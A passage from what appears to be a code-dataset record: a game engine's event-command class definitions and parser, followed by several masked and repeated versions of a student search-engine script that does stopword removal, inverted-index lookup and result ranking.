[\"GlobalUnit\"]\n optional_keywords = [\"Klass\"]\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = [\"GlobalUnit\"]\n optional_keywords = [\"Klass\"]\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Tag\"]\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = [\"GlobalUnit\", \"Tag\"]\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Unit\", \"Unit\"]\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"Unit\", \"Unit\"]\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n\n keywords = [\"Lore\"]\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n\n keywords = [\"Lore\"]\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n\n keywords = [\"Item\"]\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n\n keywords = [\"Item\"]\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n\n keywords = [\"Nid\", \"Position\", \"Size\", \"RegionType\"]\n optional_keywords = [\"String\"]\n flags = [\"only_once\"]\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n\n keywords = [\"Nid\", \"Condition\"]\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n\n keywords = [\"Nid\"]\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n\n keywords = [\"Layer\"]\n optional_keywords = [\"LayerTransition\"]\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n\n keywords = [\"Layer\"]\n optional_keywords = [\"LayerTransition\"]\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n\n keywords = [\"Weather\"]\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n\n keywords = [\"Weather\"]\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n\n keywords = [\"String\"]\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"String\"]\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n\n keywords = [\"MapAnim\", \"Position\"]\n flags = [\"no_block\"]\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n # Puts units on formation tiles automatically\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n\n optional_keywords = [\"Bool\", \"Music\"] # Pick units\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Panorama\"]\n optional_keywords = [\"Music\"]\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Unit\", \"ItemList\"]\n optional_keywords = [\"ShopFlavor\"]\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n\n optional_keywords = [\"Music\", \"String\"]\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\"]\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\"]\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"String\", \"String\"]\n flags = ['wait', 'center', 'no_split']\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n\n keywords = [\"Portrait\", \"String\", \"String\"]\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \\\n \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n\n keywords = [\"Unit\"]\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n\n keywords = [\"Unit\"]\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n\n keywords = [\"Unit\"]\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n\n keywords = [\"Event\"]\n optional_keywords = [\"GlobalUnit\", \"GlobalUnit\"]\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = \"Turn free roam mode on or off\"\n\n keywords = [\"Bool\"]\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n\n keywords = [\"Unit\"]\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = \"Removes all units other than the roaming unit\"\n\n keywords = []\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = \"Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.\"\n\n keywords = [\"Unit\", \"Integer\"]\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = \"Moves the initiative of the specified unit.\"\n\n keywords = [\"Unit\", \"Integer\"]\n\ndef get_commands():\n return EventCommand.__subclasses__()\n\ndef restore_command(dat):\n if len(dat) == 2:\n nid, values = dat\n display_values = None\n elif len(dat) == 3:\n nid, values, display_values = dat\n subclasses = EventCommand.__subclasses__()\n for command in subclasses:\n if command.nid == nid:\n copy = command(values, display_values)\n return copy\n print(\"Couldn't restore event command!\")\n print(nid, values, display_values)\n return None\n\ndef parse_text(text):\n if text.startswith('#'):\n return Comment([text])\n arguments = text.split(';')\n command_nid = arguments[0]\n subclasses = EventCommand.__subclasses__()\n for command in subclasses:\n if command.nid == command_nid or command.nickname == command_nid:\n cmd_args = arguments[1:]\n true_cmd_args = []\n command_info = command()\n for idx, arg in enumerate(cmd_args):\n if idx < len(command_info.keywords):\n cmd_keyword = command_info.keywords[idx]\n elif idx - len(command_info.keywords) < len(command_info.optional_keywords):\n cmd_keyword = command_info.optional_keywords[idx - len(command_info.keywords)]\n else:\n cmd_keyword = \"N/A\"\n # if parentheses exists, then they contain the \"true\" arg, with everything outside parens essentially as comments\n if '(' in arg and ')' in arg and not cmd_keyword == 'Condition':\n true_arg = arg[arg.find(\"(\")+1:arg.find(\")\")]\n true_cmd_args.append(true_arg)\n else:\n true_cmd_args.append(arg)\n copy = command(true_cmd_args, cmd_args)\n return copy\n return None\n\ndef parse(command):\n values = command.values\n num_keywords = len(command.keywords)\n true_values = values[:num_keywords]\n flags = {v for v in values[num_keywords:] if v in command.flags}\n optional_keywords = [v for v in values[num_keywords:] if v not in flags]\n true_values += optional_keywords\n return true_values, flags\n", "step-ids": [ 119, 154, 180, 218, 252 ] }
[ 119, 154, 180, 218, 252 ]
<|reserved_special_token_0|> def search(query, finalIndexPath): listOfDicts = list() queryList = set() tempList = query.strip().lower().replace("'", '').split(' ') for word in tempList: if word not in stopWords: queryList.add(word) print('Cleaned query tokens:') print(queryList, '\n') queryList = list(queryList) for word in queryList: charPath = word[0] jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json' try: with open(jsonFilePath, 'r') as file: data = file.read() jsonObj = json.loads(data) docsDict = jsonObj['docList'] listOfDicts.append(docsDict) except: pass return intersectDicts(listOfDicts) def getDocURLs(intersectedDocs, indexPath, cacheURLs): listUrls = list() for docID in intersectedDocs: if docID in cacheURLs: fileUrl = cacheURLs[docID] listUrls.append((fileUrl, intersectedDocs[docID])) return listUrls def intersectDicts(listOfDicts): if len(listOfDicts) == 1: return listOfDicts[0] intersection = {} for dictItem in listOfDicts: for doc in dictItem: if doc not in intersection: intersection[doc] = dictItem[doc] else: intersection[doc] += dictItem[doc] print('intersection = ', intersection) return intersection def flaskBackendQuery(queryUser, cacheURLs): indexPath = GLOBALS.FINAL_INDEX if queryUser.strip() == '': print('Query needs to be at least one character') unsortedDocs = search(queryUser, indexPath) unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs) sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) return sortedURLs[0:10] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def search(query, finalIndexPath): listOfDicts = list() queryList = set() tempList = query.strip().lower().replace("'", '').split(' ') for word in tempList: if word not in stopWords: queryList.add(word) print('Cleaned query tokens:') print(queryList, '\n') queryList = list(queryList) for word in queryList: charPath = word[0] jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json' try: with open(jsonFilePath, 'r') as file: data = file.read() jsonObj = json.loads(data) docsDict = jsonObj['docList'] listOfDicts.append(docsDict) except: pass return intersectDicts(listOfDicts) def getDocURLs(intersectedDocs, indexPath, cacheURLs): listUrls = list() for docID in intersectedDocs: if docID in cacheURLs: fileUrl = cacheURLs[docID] listUrls.append((fileUrl, intersectedDocs[docID])) return listUrls def intersectDicts(listOfDicts): if len(listOfDicts) == 1: return listOfDicts[0] intersection = {} for dictItem in listOfDicts: for doc in dictItem: if doc not in intersection: intersection[doc] = dictItem[doc] else: intersection[doc] += dictItem[doc] print('intersection = ', intersection) return intersection def flaskBackendQuery(queryUser, cacheURLs): indexPath = GLOBALS.FINAL_INDEX if queryUser.strip() == '': print('Query needs to be at least one character') unsortedDocs = search(queryUser, indexPath) unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs) sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) return sortedURLs[0:10] if __name__ == '__main__': indexPath = 'C:\\1_Repos\\developer' finalIndexPath = 'C:\\1_Repos\\developer' query = input('Enter a search query: ') if query.strip() == '': print('Query needs to be at least one character') unsortedDocs = search(query, finalIndexPath) unsortedURLs = getDocURLs(unsortedDocs, indexPath) sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) print(f"\n------------ Top 5 Docs for '{query}' ------------\n") for i, doc in enumerate(sortedURLs): if i > 5: break print(doc[0], ' = ', doc[1]) print('\n------------ DONE! ------------\n') <|reserved_special_token_1|> <|reserved_special_token_0|> stopWords = {'a', 'about', 'above', 'after', 'again', 'against', 'all', 'am', 'an', 'and', 'any', 'are', "aren't", 'as', 'at', 'be', 'because', 'been', 'before', 'being', 'below', 'between', 'both', 'but', 'by', "can't", 'cannot', 'could', "couldn't", 'did', "didn't", 'do', 'does', "doesn't", 'doing', "don't", 'down', 'during', 'each', 'few', 'for', 'from', 'further', 'had', "hadn't", 'has', "hasn't", 'have', "haven't", 'having', 'he', "he'd", "he'll", "he's", 'her', 'here', "here's", 'hers', 'herself', 'him', 'himself', 'his', 'how', "how's", 'i', "i'd", "i'll", "i'm", "i've", 'if', 'in', 'into', 'is', "isn't", 'it', "it's", 'its', 'itself', "let's", 'me', 'more', 'most', "mustn't", 'my', 'myself', 'no', 'nor', 'not', 'of', 'off', 'on', 'once', 'only', 'or', 'other', 'ought', 'our', 'ours', 'ourselves', 'out', 'over', 'own', 'same', "shan't", 'she', "she'd", "she'll", "she's", 'should', "shouldn't", 'so', 'some', 'such', 'than', 'that', "that's", 'the', 'their', 'theirs', 'them', 'themselves', 'then', 'there', "there's", 'these', 'they', "they'd", "they'll", "they're", "they've", 'this', 'those', 'through', 'to', 'too', 'under', 'until', 'up', 'very', 'was', "wasn't", 'we', "we'd", "we'll", "we're", "we've", 'were', "weren't", 'what', "what's", 'when', "when's", 'where', "where's", 'which', 'while', 'who', "who's", 'whom', 'why', "why's", 'with', "won't", 'would', "wouldn't", 'you', "you'd", "you'll", "you're", "you've", 'your', 'yours', 'yourself', 'yourselves'} def search(query, finalIndexPath): listOfDicts = list() queryList = set() tempList = query.strip().lower().replace("'", '').split(' ') for word in tempList: if word not in stopWords: queryList.add(word) print('Cleaned query tokens:') print(queryList, '\n') queryList = list(queryList) for word in queryList: charPath = word[0] jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json' try: with open(jsonFilePath, 'r') as file: data = file.read() jsonObj = json.loads(data) docsDict = jsonObj['docList'] listOfDicts.append(docsDict) except: pass return intersectDicts(listOfDicts) def getDocURLs(intersectedDocs, indexPath, cacheURLs): listUrls = list() for docID in intersectedDocs: if docID in cacheURLs: fileUrl = cacheURLs[docID] listUrls.append((fileUrl, intersectedDocs[docID])) return listUrls def intersectDicts(listOfDicts): if len(listOfDicts) == 1: return listOfDicts[0] intersection = {} for dictItem in listOfDicts: for doc in dictItem: if doc not in intersection: intersection[doc] = dictItem[doc] else: intersection[doc] += dictItem[doc] print('intersection = ', intersection) return intersection def flaskBackendQuery(queryUser, cacheURLs): indexPath = GLOBALS.FINAL_INDEX if queryUser.strip() == '': print('Query needs to be at least one character') unsortedDocs = search(queryUser, indexPath) unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs) sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) return sortedURLs[0:10] if __name__ == '__main__': indexPath = 'C:\\1_Repos\\developer' finalIndexPath = 'C:\\1_Repos\\developer' query = input('Enter a search query: ') if query.strip() == '': print('Query needs to be at least one character') unsortedDocs = search(query, finalIndexPath) unsortedURLs = getDocURLs(unsortedDocs, indexPath) sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) print(f"\n------------ Top 5 Docs for '{query}' ------------\n") for i, doc in enumerate(sortedURLs): if i > 5: break print(doc[0], ' = ', doc[1]) print('\n------------ DONE! ------------\n') <|reserved_special_token_1|> from multiprocessing import Pool from pathlib import Path import os import re import json import string import math import GLOBALS stopWords = {'a', 'about', 'above', 'after', 'again', 'against', 'all', 'am', 'an', 'and', 'any', 'are', "aren't", 'as', 'at', 'be', 'because', 'been', 'before', 'being', 'below', 'between', 'both', 'but', 'by', "can't", 'cannot', 'could', "couldn't", 'did', "didn't", 'do', 'does', "doesn't", 'doing', "don't", 'down', 'during', 'each', 'few', 'for', 'from', 'further', 'had', "hadn't", 'has', "hasn't", 'have', "haven't", 'having', 'he', "he'd", "he'll", "he's", 'her', 'here', "here's", 'hers', 'herself', 'him', 'himself', 'his', 'how', "how's", 'i', "i'd", "i'll", "i'm", "i've", 'if', 'in', 'into', 'is', "isn't", 'it', "it's", 'its', 'itself', "let's", 'me', 'more', 'most', "mustn't", 'my', 'myself', 'no', 'nor', 'not', 'of', 'off', 'on', 'once', 'only', 'or', 'other', 'ought', 'our', 'ours', 'ourselves', 'out', 'over', 'own', 'same', "shan't", 'she', "she'd", "she'll", "she's", 'should', "shouldn't", 'so', 'some', 'such', 'than', 'that', "that's", 'the', 'their', 'theirs', 'them', 'themselves', 'then', 'there', "there's", 'these', 'they', "they'd", "they'll", "they're", "they've", 'this', 'those', 'through', 'to', 'too', 'under', 'until', 'up', 'very', 'was', "wasn't", 'we', "we'd", "we'll", "we're", "we've", 'were', "weren't", 'what', "what's", 'when', "when's", 'where', "where's", 'which', 'while', 'who', "who's", 'whom', 'why', "why's", 'with', "won't", 'would', "wouldn't", 'you', "you'd", "you'll", "you're", "you've", 'your', 'yours', 'yourself', 'yourselves'} def search(query, finalIndexPath): listOfDicts = list() queryList = set() tempList = query.strip().lower().replace("'", '').split(' ') for word in tempList: if word not in stopWords: queryList.add(word) print('Cleaned query tokens:') print(queryList, '\n') queryList = list(queryList) for word in queryList: charPath = word[0] jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json' try: with open(jsonFilePath, 'r') as file: data = file.read() jsonObj = json.loads(data) docsDict = jsonObj['docList'] listOfDicts.append(docsDict) except: pass return intersectDicts(listOfDicts) def getDocURLs(intersectedDocs, indexPath, cacheURLs): listUrls = list() for docID in intersectedDocs: if docID in cacheURLs: fileUrl = cacheURLs[docID] listUrls.append((fileUrl, intersectedDocs[docID])) return listUrls def intersectDicts(listOfDicts): if len(listOfDicts) == 1: return listOfDicts[0] intersection = {} for dictItem in listOfDicts: for doc in dictItem: if doc not in intersection: intersection[doc] = dictItem[doc] else: intersection[doc] += dictItem[doc] print('intersection = ', intersection) return intersection def flaskBackendQuery(queryUser, cacheURLs): indexPath = GLOBALS.FINAL_INDEX if queryUser.strip() == '': print('Query needs to be at least one character') unsortedDocs = search(queryUser, indexPath) unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs) sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) return sortedURLs[0:10] if __name__ == '__main__': indexPath = 'C:\\1_Repos\\developer' finalIndexPath = 'C:\\1_Repos\\developer' query = input('Enter a search query: ') if query.strip() == '': print('Query needs to be at least one character') unsortedDocs = search(query, finalIndexPath) unsortedURLs = getDocURLs(unsortedDocs, indexPath) sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) print(f"\n------------ Top 5 Docs for '{query}' ------------\n") for i, doc in enumerate(sortedURLs): if i > 5: break print(doc[0], ' = ', doc[1]) print('\n------------ DONE! ------------\n') <|reserved_special_token_1|> from multiprocessing import Pool from pathlib import Path import os import re import json import string import math import GLOBALS stopWords = {"a", "about", "above", "after", "again", "against", "all", "am", "an", "and", "any", "are", "aren't", "as", "at", "be", "because", "been", "before", "being", "below", "between", "both", "but", "by", "can't", "cannot", "could", "couldn't", "did", "didn't", "do", "does", "doesn't", "doing", "don't", "down", "during", "each", "few", "for", "from", "further", "had", "hadn't", "has", "hasn't", "have", "haven't", "having", "he", "he'd", "he'll", "he's", "her", "here", "here's", "hers", "herself", "him", "himself", "his", "how", "how's", "i", "i'd", "i'll", "i'm", "i've", "if", "in", "into", "is", "isn't", "it", "it's", "its", "itself", "let's", "me", "more", "most", "mustn't", "my", "myself", "no", "nor", "not", "of", "off", "on", "once", "only", "or", "other", "ought", "our", "ours", "ourselves", "out", "over", "own", "same", "shan't", "she", "she'd", "she'll", "she's", "should", "shouldn't", "so", "some", "such", "than", "that", "that's", "the", "their", "theirs", "them", "themselves", "then", "there", "there's", "these", "they", "they'd", "they'll", "they're", "they've", "this", "those", "through", "to", "too", "under", "until", "up", "very", "was", "wasn't", "we", "we'd", "we'll", "we're", "we've", "were", "weren't", "what", "what's", "when", "when's", "where", "where's", "which", "while", "who", "who's", "whom", "why", "why's", "with", "won't", "would", "wouldn't", "you", "you'd", "you'll", "you're", "you've", "your", "yours", "yourself", "yourselves"} # Main Functions (aka functions called in __main__) # Takes in query as str. Returns list of docs that match the OR query (inclusive) def search(query, finalIndexPath): listOfDicts = list() queryList = set() # We use set() to remove duplicate terms, and we won't have to open a file twice tempList = query.strip().lower().replace("'", "").split(" ") for word in tempList: if word not in stopWords: queryList.add(word) print("Cleaned query tokens:") print(queryList, "\n") # query tokens with stopwords removed and replacing apostrohe and lower() #convert set to list to enumerate queryList = list(queryList) for word in queryList: charPath = word[0] #Get 1st char of current word, use to find subdir # Get the file path of the final_indexed token.json file jsonFilePath = str(Path(finalIndexPath) / charPath / word) + ".json" try: with open(jsonFilePath, "r") as file: data = file.read() jsonObj = json.loads(data) docsDict = jsonObj["docList"] listOfDicts.append(docsDict) except: pass return intersectDicts(listOfDicts) def getDocURLs(intersectedDocs, indexPath, cacheURLs): listUrls = list() # holds unique file paths of .json files # # hashTablePath = Path(indexPath) / "hashurls.txt" # with open(hashTablePath, "r") as file: # data = file.read() # hashSet = json.loads(data) for docID in intersectedDocs: if(docID in cacheURLs): fileUrl = cacheURLs[docID] listUrls.append( (fileUrl, intersectedDocs[docID]) ) return listUrls # Helper Functions (aka functions called by other functions) # Returns unique dict of file urls from hashurl.txt (or hasthtable.txt) def intersectDicts(listOfDicts): if len(listOfDicts) == 1: return listOfDicts[0] intersection = {} for dictItem in listOfDicts: for doc in dictItem: if doc not in intersection: intersection[doc] = dictItem[doc] # else: intersection[doc] += dictItem[doc] #adding tfidf weights print("intersection = ", intersection) return intersection def flaskBackendQuery(queryUser, cacheURLs): indexPath = GLOBALS.FINAL_INDEX if (queryUser.strip() == ""): print("Query needs to be at least one character") unsortedDocs = search(queryUser, indexPath) #list of dictionaries # Change filepaths to website URLs for displaying unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs) # Sort docs by the TF-IDF score sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) #highest scores shown first return sortedURLs[0:10] #return 10 results if __name__ == '__main__': ##### # Aljon # finalIndexPath = "C:\\Users\\aljon\\Documents\\CS_121\\Assignment_3\\CS121_InvertedIndex\\final_index" # indexPath = "C:\\Users\\aljon\\Documents\\CS_121\\Assignment_3\\CS121_InvertedIndex\\index" # William # folderPath = "C:\\1_Repos\\developer\\partial_indexes" # folderPath = "C:\\Anaconda3\\envs\\Projects\\developer\\partial_indexes" indexPath = "C:\\1_Repos\\developer" finalIndexPath = "C:\\1_Repos\\developer" # Jerome #folderPath = "C:\\Users\\arkse\\Desktop\\CS121_InvertedIndex\\DEV" # Art # windows #folderPath = "C:\\Users\\aghar\\Downloads\\DEV" # linux #folderPath = "/home/anon/Downloads/DEV" ##### # Get query from user query = input("Enter a search query: ") if(query.strip() == ""): print("Query needs to be at least one character") # Fetch all results of query, intersect them to follow Bool-AND logic unsortedDocs = search(query, finalIndexPath) # Change filepaths to website URLs for displaying unsortedURLs = getDocURLs(unsortedDocs, indexPath) # Sort docs by the TF-IDF score sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True) # Print top 5 ranked file-urls for given query print(f"\n------------ Top 5 Docs for '{query}' ------------\n") for i, doc in enumerate(sortedURLs): if (i > 5): break print(doc[0], " = ", doc[1]) print("\n------------ DONE! ------------\n")
flexible
{ "blob_id": "19f17044d48c8cc0f9d366cde7edc846ff343462", "index": 2598, "step-1": "<mask token>\n\n\ndef search(query, finalIndexPath):\n listOfDicts = list()\n queryList = set()\n tempList = query.strip().lower().replace(\"'\", '').split(' ')\n for word in tempList:\n if word not in stopWords:\n queryList.add(word)\n print('Cleaned query tokens:')\n print(queryList, '\\n')\n queryList = list(queryList)\n for word in queryList:\n charPath = word[0]\n jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json'\n try:\n with open(jsonFilePath, 'r') as file:\n data = file.read()\n jsonObj = json.loads(data)\n docsDict = jsonObj['docList']\n listOfDicts.append(docsDict)\n except:\n pass\n return intersectDicts(listOfDicts)\n\n\ndef getDocURLs(intersectedDocs, indexPath, cacheURLs):\n listUrls = list()\n for docID in intersectedDocs:\n if docID in cacheURLs:\n fileUrl = cacheURLs[docID]\n listUrls.append((fileUrl, intersectedDocs[docID]))\n return listUrls\n\n\ndef intersectDicts(listOfDicts):\n if len(listOfDicts) == 1:\n return listOfDicts[0]\n intersection = {}\n for dictItem in listOfDicts:\n for doc in dictItem:\n if doc not in intersection:\n intersection[doc] = dictItem[doc]\n else:\n intersection[doc] += dictItem[doc]\n print('intersection = ', intersection)\n return intersection\n\n\ndef flaskBackendQuery(queryUser, cacheURLs):\n indexPath = GLOBALS.FINAL_INDEX\n if queryUser.strip() == '':\n print('Query needs to be at least one character')\n unsortedDocs = search(queryUser, indexPath)\n unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs)\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n return sortedURLs[0:10]\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef search(query, finalIndexPath):\n listOfDicts = list()\n queryList = set()\n tempList = query.strip().lower().replace(\"'\", '').split(' ')\n for word in tempList:\n if word not in stopWords:\n queryList.add(word)\n print('Cleaned query tokens:')\n print(queryList, '\\n')\n queryList = list(queryList)\n for word in queryList:\n charPath = word[0]\n jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json'\n try:\n with open(jsonFilePath, 'r') as file:\n data = file.read()\n jsonObj = json.loads(data)\n docsDict = jsonObj['docList']\n listOfDicts.append(docsDict)\n except:\n pass\n return intersectDicts(listOfDicts)\n\n\ndef getDocURLs(intersectedDocs, indexPath, cacheURLs):\n listUrls = list()\n for docID in intersectedDocs:\n if docID in cacheURLs:\n fileUrl = cacheURLs[docID]\n listUrls.append((fileUrl, intersectedDocs[docID]))\n return listUrls\n\n\ndef intersectDicts(listOfDicts):\n if len(listOfDicts) == 1:\n return listOfDicts[0]\n intersection = {}\n for dictItem in listOfDicts:\n for doc in dictItem:\n if doc not in intersection:\n intersection[doc] = dictItem[doc]\n else:\n intersection[doc] += dictItem[doc]\n print('intersection = ', intersection)\n return intersection\n\n\ndef flaskBackendQuery(queryUser, cacheURLs):\n indexPath = GLOBALS.FINAL_INDEX\n if queryUser.strip() == '':\n print('Query needs to be at least one character')\n unsortedDocs = search(queryUser, indexPath)\n unsortedURLs = getDocURLs(unsortedDocs, indexPath, cacheURLs)\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n return sortedURLs[0:10]\n\n\nif __name__ == '__main__':\n indexPath = 'C:\\\\1_Repos\\\\developer'\n finalIndexPath = 'C:\\\\1_Repos\\\\developer'\n query = input('Enter a search query: ')\n if query.strip() == '':\n print('Query needs to be at least one character')\n unsortedDocs = search(query, finalIndexPath)\n unsortedURLs = getDocURLs(unsortedDocs, indexPath)\n sortedURLs = sorted(unsortedURLs, key=lambda x: x[1], reverse=True)\n print(f\"\\n------------ Top 5 Docs for '{query}' ------------\\n\")\n for i, doc in enumerate(sortedURLs):\n if i > 5:\n break\n print(doc[0], ' = ', doc[1])\n print('\\n------------ DONE! ------------\\n')\n", "step-3": "<mask token>\nstopWords = {'a', 'about', 'above', 'after', 'again', 'against', 'all',\n 'am', 'an', 'and', 'any', 'are', \"aren't\", 'as', 'at', 'be', 'because',\n 'been', 'before', 'being', 'below', 'between', 'both', 'but', 'by',\n \"can't\", 'cannot', 'could', \"couldn't\", 'did', \"didn't\", 'do', 'does',\n \"doesn't\", 'doing', \"don't\", 'down', 'during', 'each', 'few', 'for',\n 'from', 'further', 'had', \"hadn't\", 'has', \"hasn't\", 'have', \"haven't\",\n 'having', 'he', \"he'd\", \"he'll\", \"he's\", 'her', 'here', \"here's\",\n 'hers', 'herself', 'him', 'himself', 'his', 'how', \"how's\", 'i', \"i'd\",\n \"i'll\", \"i'm\", \"i've\", 'if', 'in', 'into', 'is', \"isn't\", 'it', \"it's\",\n 'its', 'itself', \"let's\", 'me', 'more', 'most', \"mustn't\", 'my',\n 'myself', 'no', 'nor', 'not', 'of', 'off', 'on', 'once', 'only', 'or',\n 'other', 'ought', 'our', 'ours', 'ourselves', 'out', 'over', 'own',\n 'same', \"shan't\", 'she', \"she'd\", \"she'll\", \"she's\", 'should',\n \"shouldn't\", 'so', 'some', 'such', 'than', 'that', \"that's\", 'the',\n 'their', 'theirs', 'them', 'themselves', 'then', 'there', \"there's\",\n 'these', 'they', \"they'd\", \"they'll\", \"they're\", \"they've\", 'this',\n 'those', 'through', 'to', 'too', 'under', 'until', 'up', 'very', 'was',\n \"wasn't\", 'we', \"we'd\", \"we'll\", \"we're\", \"we've\", 'were', \"weren't\",\n 'what', \"what's\", 'when', \"when's\", 'where', \"where's\", 'which',\n 'while', 'who', \"who's\", 'whom', 'why', \"why's\", 'with', \"won't\",\n 'would', \"wouldn't\", 'you', \"you'd\", \"you'll\", \"you're\", \"you've\",\n 'your', 'yours', 'yourself', 'yourselves'}\n\n\ndef search(query, finalIndexPath):\n listOfDicts = list()\n queryList = set()\n tempList = query.strip().lower().replace(\"'\", '').split(' ')\n for word in tempList:\n if word not in stopWords:\n queryList.add(word)\n print('Cleaned query tokens:')\n print(queryList, '\\n')\n queryList = list(queryList)\n for word in queryList:\n charPath = word[0]\n jsonFilePath = str(Path(finalIndexPath) / charPath / word) + '.json'\n try:\n with 